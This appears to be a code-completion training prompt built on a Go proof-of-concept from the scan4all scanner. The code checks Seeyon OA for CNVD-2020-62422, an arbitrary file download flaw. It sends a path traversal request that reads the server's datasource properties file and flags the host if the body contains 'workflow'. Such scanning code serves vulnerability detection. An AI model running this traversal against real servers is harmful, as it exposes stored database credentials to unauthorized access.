You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: CNVD_2020_62422.go
    path of file: ./repos/scan4all/pocs_go/seeyon
    
    the code of the file until where you have to start completion: package seeyon

import (
	"github.com/GhostTroops/scan4all/lib/util"
)

//webmail.do任意文件下载

func CNVD_2020_62422(u string) bool {
	if req, err := util.HttpRequset(u+"/seeyon/webmail.do?method=doDownloadAtt&filename
    
func CNVD_2020_62422(u string) bool {
	if req, err := util.HttpRequset(u+"/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath=../conf/datasourceCtp.properties", "GET", "", false, nil); err == nil {
		if req.StatusCode == 200 && util.StrContains(req.Body, "workflow") {
			util.SendLog(req.RequestUrl, "CNVD-2020-62422", "Found vuln seeyon", "")
			return true
		}
	}
	return false
}